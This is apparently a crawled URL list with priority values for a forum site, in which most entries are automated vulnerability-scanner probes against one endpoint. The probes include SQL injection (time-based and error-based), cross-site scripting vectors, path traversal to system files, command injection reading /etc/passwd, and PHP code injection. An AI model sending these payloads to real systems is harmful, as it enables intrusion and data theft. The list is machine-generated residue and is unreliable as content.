http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453091100 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453091589 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453093029 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453094173 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453094199 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453096394 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453097256 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453097634 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453102520 0.0003 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453102521 0.0003 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453102523 0.0003 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453102524 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453106607 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453106703 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1453109239 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=;print(md5(1122));%23 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=C:%5Cboot.ini 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=ELT(15=15,1452889343) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=ELT(86=95,1452889343) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=IIF(11=11,1452889343,1/0) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=IIF(37=37,1453000356,1/0) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=IIF(51=89,1453000356,1/0) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=IIF(58=29,1452889343,1/0) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=MAKE_SET(69=61,1452889343) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=MAKE_SET(71=71,1452889343) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=dir 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=file:///c:/boot.ini 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=phpinfo 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=response.write(9412458*9542755) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=set%7Cset&set 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=%3Cdir 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=');print(md5(1122));// 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=(SELECT%20(CASE%20WHEN%20(19=19)%20THEN%200x73656E646D61696C%20ELSE%2019*(SELECT%2019%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=(SELECT%20(CASE%20WHEN%20(37=37)%20THEN%200x73656E646D61696C%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=(SELECT%20(CASE%20WHEN%20(41=89)%20THEN%200x73656E646D61696C%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=(SELECT%20(CASE%20WHEN%20(48=62)%20THEN%200x73656E646D61696C%20ELSE%2048*(SELECT%2048%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=(SELECT%20(CASE%20WHEN%20(51=51)%20THEN%200x73656E646D61696C%20ELSE%2051*(SELECT%2051%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=(SELECT%20(CASE%20WHEN%20(57=23)%20THEN%200x73656E646D61696C%20ELSE%2057*(SELECT%2057%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=(SELECT%20(CASE%20WHEN%20(61=57)%20THEN%200x73656E646D61696C%20ELSE%2061*(SELECT%2061%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=(SELECT%20(CASE%20WHEN%20(69=69)%20THEN%200x73656E646D61696C%20ELSE%2069*(SELECT%2069%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=................windowswin.ini 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=;print(md5(1122));%23 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=C:%5Cboot.ini 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=ELT(48=51,0x73656E646D61696C) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=ELT(94=94,0x73656E646D61696C) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=MAKE_SET(14=14,0x73656E646D61696C) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=MAKE_SET(17=51,0x73656E646D61696C) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=dir 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=file:///c:/boot.ini 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=phpinfo 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=response.write(9412458*9542755) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail 0.0004 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%00' 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%20AND%201997=PG_SLEEP(5) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%20AND%205=SLEEP(5) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%20AND%20PG_SLEEP(5) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%20OR%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%20OR%205=SLEEP(5) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%20RLIKE%20(SELECT%20(CASE%20WHEN%20(18=18)%20THEN%200x73656E646D61696C%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%20RLIKE%20(SELECT%20(CASE%20WHEN%20(58=75)%20THEN%200x73656E646D61696C%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%20WAITFOR%20DELAY%20'0:0:5' 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%22%20AND%20%22Pu%22=%22ED 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%22)%20AND%2052=67%20AND%20(%222t%22=%222t 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%25%22%29%20AND%2062%3D13%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%25%27%29%20AND%2015%3D34%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%25%27%29%20AND%2087%3D87%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%25'%20AND%2018=11%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%25'%20AND%2055=55%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(13=47)%20THEN%200x73656E646D61696C%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(39=39)%20THEN%200x73656E646D61696C%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%2527 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%27%2b(SELECT+1+FROM+(SELECT+SLEEP(5))A)%2b%27 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%5B%5D 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%5C%22 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%5C' 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail%bf%27 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail&&&&&&&&&&&&&&&&&&& 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail' 0.0001 http://www.cncml.com/home.php?mod=misc&rand=1452889343&ac=sendmail'%20AND%20'Dq'='es 0.0001 